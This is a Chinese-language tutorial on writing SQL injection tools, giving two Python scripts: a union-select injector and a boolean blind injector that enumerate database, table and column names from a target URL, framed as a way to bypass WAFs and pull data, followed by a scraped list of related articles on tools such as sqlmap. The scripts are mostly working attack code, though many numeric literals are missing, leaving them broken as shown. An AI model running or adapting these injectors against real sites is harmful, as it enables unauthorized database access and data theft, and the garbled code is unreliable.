如何编写一个SQL注入工具
0x01 前言
一直在思考如何编写一个自动化注入工具,这款工具不用太复杂,但是可以用最简单、最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以。
0x02 SQL注入工具
A、联合查询
union select 实现起来最为简单,报错注入的实现方式也基本一致,主要思路:获取所有数据库名--选择数据库--查看这个数据库下所有表---选择表--查询这个表下所有列名。
代码详情:
- #! /usr/bin/env python
- # _*_ coding:utf- _*_
- import requests
- import urllib
- import re
- values={}
- def get(url,values):
- data = urllib.urlencode(values)
- geturl = url+'?'+data
- response = requests.get(geturl)
- result=response.content
- find_list=re.findall(r"qwe~(.+?)~qwe", result)
- if len(find_list)>:
- return find_list
- def get_database_name(url):
- values['id'] = "1 and 1=2 union select 1,concat(0x7177657E,schema_name,0x7E717765) from INFORMATION_SCHEMA.SCHEMATA"
- name_list=get(url,values)
- print 'The databases:'
- for i in name_list:
- print i+" ",
- print "\n"
- def table_name(url):
- database_name=raw_input('please input your database:')
- values['id'] = "1 union select 1,concat(0x7177657E,table_name,0x7E717765) from information_schema.tables where table_schema="+"'"+database_name+"'"
- name_list=get(url,values)
- print 'The table is :'
- for i in name_list:
- print i+" ",
- print "\n"
- def column_name(url):
- table_name=raw_input('please input your table:')
- values['id'] = "1 union select 1,concat(0x7177657E,column_name,0x7E717765) from information_schema.columns where table_name="+"'"+table_name+"'"
- name_list=get(url,values)
- print 'The column is :'
- for i in name_list:
- print i+" ",
- if __name__ == '__main__':
- url='http://192.168.106.130/config/sql.php'
- get_database_name(url)
- table_name(url)
- column_name(url)
运行效果:
B、盲注
盲注的脚本,但总感觉代码不过简洁,越简单越好,可以把局部代码直接拿出来用,简单修改payload就可以获取数据,基于布尔盲注,GET,写的一个简单的注入脚本。
主要思路:获取当前数据库名--选择数据库--获取这个数据库有几个表--依次获取每个表的长度--依次获取获取表名--依次获取每个表的长度、列名。
- #! /usr/bin/env python
- # _*_ coding:utf- _*_
- import requests
- import urllib
- import time
- start_time = time.time()
- def database_length(url):
- values={}
- for i in range(,):
- values['id'] = "1 and (select length(database()))=%s" %i
- data = urllib.urlencode(values)
- geturl = url+'?'+data
- response = requests.get(geturl)
- if response.content.find('qwertyasd')>:
- return i
- def database_name(url):
- payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
- values={}
- databasename= ''
- aa =
- aa = database_length(url)
- for i in range(, aa+):
- for payload in payloads:
- values['id'] = "1 and ascii(substring(database(),%s,1))=%s " %(i,ord(payload))
- data = urllib.urlencode(values)
- geturl = url+'?'+data
- response = requests.get(geturl)
- if response.content.find('qwertyasd')>:
- databasename += payload
- return databasename
- #print database_name('http://192.168.125.129/config/sql.php')
- def table_count(url,database):
- values={}
- for i in range(,):
- values['id'] = "1 and (select count(table_name) from information_schema.tables where table_schema="+"'"+database+"')"+"=%s" %i
- data = urllib.urlencode(values)
- geturl = url+'?'+data
- response = requests.get(geturl)
- if response.content.find('qwertyasd')>:
- return i
- def table_length(url,a,database):
- values={}
- for i in range(,):
- values['id'] = "1 and (select length(table_name) from information_schema.tables where table_schema="+"'"+database+"'"+" limit %s,1)=%s" %(a,i)
- data = urllib.urlencode(values)
- geturl = url+'?'+data
- response = requests.get(geturl)
- if response.content.find('qwertyasd')>:
- return i
- def table_name(url,database):
- payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
- values={}
- table_name=[]
- bb = table_count(url,database)
- for i in range(,bb+):
- user= ''
- cc=table_length(url,i,database)
- if cc==None:
- break
- for j in range(,cc+):
- for payload in payloads:
- values['id'] = "1 and ascii(substring((select table_name from information_schema.tables where table_schema="+"'"+database+"'"+" limit %s,1),%s,1))=%s " %(i,j,ord(payload))
- data = urllib.urlencode(values)
- geturl = url+'?'+data
- response = requests.get(geturl)
- if response.content.find('qwertyasd')>:
- user += payload
- #print payload
- table_name.append(user)
- return table_name
- #print table_name('http://192.168.125.129/config/sql.php','test')
- def column_count(url,table_name):
- values={}
- for i in range(,):
- values['id'] = "1 and (select count(column_name) from information_schema.columns where table_name="+"'"+table_name+"'"+")=%s" %i
- data = urllib.urlencode(values)
- geturl = url+'?'+data
- response = requests.get(geturl)
- if response.content.find('qwertyasd')>:
- return i
- def column_length(num,url,table_name):
- values={}
- for i in range(,):
- limit = " limit %s,1)=%s" %(num,i)
- values['id'] = "1 and (select length(column_name) from information_schema.columns where table_name="+"'"+table_name+"'"+limit
- data = urllib.urlencode(values)
- geturl = url+'?'+data
- response = requests.get(geturl)
- if response.content.find('qwertyasd')>:
- return i
- def column_name(url,table_name):
- payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
- values={}
- column_name=[]
- dd=column_count(url,table_name)
- for i in range(,dd+):
- user= ''
- bb=column_length(i,url,table_name)
- if bb==None:
- break
- for j in range(,bb+):
- for payload in payloads:
- limit=" limit %s,1),%s,1))=%s" %(i,j,ord(payload))
- values['id'] = "1 and ascii(substring((select column_name from information_schema.columns where table_name="+"'"+table_name+"'"+limit
- data = urllib.urlencode(values)
- geturl = url+'?'+data
- response = requests.get(geturl)
- if response.content.find('qwertyasd')>:
- user += payload
- column_name.append(user)
- return column_name
- #print column_name('http://192.168.125.129/config/sql.php','admin')
- if __name__ == '__main__':
- url='http://192.168.125.129/config/sql.php'
- databasename=database_name(url)
- print "The current database:"+databasename
- database=raw_input("Please input your databasename: ")
- tables=table_name(url,database)
- print database+" have the tables:",
- print tables
- for table in tables:
- print table+" have the columns:"
- print column_name(url,table)
- print 'Use for: %d second' % (time.time() - start_time)
运行效果:
0x03 END
通过编写简单的SQL注入脚本来获取数据,脚本实现得很简单,扩展空间还很大,只为以最简单的方式来Bypass WAF数据获取。
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。
如何编写一个SQL注入工具的更多相关文章
- 十大关系数据库SQL注入工具一览
摘要:众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞. BSQL Hacker ...
- 10个SQL注入工具(转载)
众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker 1 ...
- 10 个 SQL 注入工具
BSQL Hacker BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出 ...
- SQL注入工具实践
程序简介 超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入. ...
- sql注入工具:sqlmap命令
sqlmap是一款专业的sql注入工具, 让你告别人工注入, 程序高效自动注入 前提是你有找到注入点 , 工具的官方网站:http://sqlmap.org/ kali系统默认安装sqlmap, 不需 ...
- 详解强大的SQL注入工具——SQLMAP
1. 前言 Windows下的注入工具好的又贵,免费的啊D.明小子等又不好用,我们根本没必要花 时间去找什么破解的havij.pangolin什么的,特别是破解的工具很可能被绑了木马.其实 Linu ...
- python 打造一个sql注入脚本 (一)
0x00前言: 昨天刚刚看完小迪老师的sql注入篇的第一章 所以有了新的笔记. 0x01笔记: sql注入原理: 网站数据传输中,接受变量传递的值未进行过滤,导致直接带入数据库查询执行的操作. sql ...
- 自动化SQL注入工具 sqlmap 使用手册
0x00 sqlmap介绍 什么是sqlmap? sqlmap是一个开源的渗透测试工具,它自动化了检测和利用SQL注入缺陷 以及接管数据库服务器的过程.它配备了一个强大的检测引擎 ,以及终极渗透测试仪 ...
- sql注入工具sqlmap使用参数说明
Options(选项):--version 显示程序的版本号并退出-h, --help 显示此帮助消息并退出-v VERBOSE 详细级别:0-6(默认为1)Target(目标):以下至少需要设置其中 ...
随机推荐
- 在kali linux之下 下载并解压的文件名呈现乱码 解决方案
从Linux往 windows拷贝文件或者从windows往Linux拷贝文件,有时会出现中文文件名乱码的情况,出现这种问题的原因是因为,windows的文件名中文编码默认为GBK,而Linux中默认 ...
- 【转】【Centos】nginx配置:location配置方法及实例详解
location匹配的是nginx的哪个变量? $request_uri location的匹配种类有哪些? 格式 location [ 空格 | = | ~ | ~* |^~ | !~ | !~* ...
- (笔记)Mysql命令show databases:显示所有数据库
show databases命令用于显示所有数据库. show databases命令格式:show databases; (注意:最后有个s) 例如:mysql> show databases ...
- (笔记)Linux延时及时间函数总结
一. 基础知识1.时间类型.Linux下常用的时间类型有4个:time_t,struct timeval,struct timespec,struct tm.(1)time_t是一个长整型,一般用来表 ...
- android 监听声音变化
新的项目需要监听android声音的变化,再做出对应的操作,从网上找了个demo验证.记录于此. 参考链接 https://my.oschina.net/yuanxulong/blog/372268 ...
- Unity导入3D模型的过程与方法
一.介绍 资源是游戏开发中的原材料,也就是组成游戏的模块. Unity只是一个游戏开发引擎,而并不是一个资源开发软件.这就意味着在游戏中需要的资源通常是由一些设计者使用其他软件开发出来的,然后设计者会 ...
- Mybatis系列(二):优化MyBatis配置文件中的配置和解决字段名与实体类属性名不相同的冲突
原文链接:http://www.cnblogs.com/xdp-gacl/p/4264301.html http://www.cnblogs.com/xdp-gacl/p/4264425.ht ...
- JAVA组成原理及使用方法编辑环境及实现过程
JAVA组成原理一.由四方面组成:1.Java编程语言2.Java类文件格式3.Java虚拟机4.Java应用程序接口 当编辑并运行一个Java程序时,需要同时涉及到这四种方面.二.使用文字编辑软件: ...
- unity-------Light的各个参数使用
网上看到一篇关于灯光的文章,描述的很详细,如下: Lights will bring personality and flavor to your game. You use lights to il ...
- unity执行顺序问题(如何再次执行start方法)
2016-09-08 20:13 2084人阅读 评论(1) 收藏 举报 分类: unity3D(66) 版权声明:本文为博主原创文章,未经博主允许不得转载. unity执行顺序的文章已经很多了, ...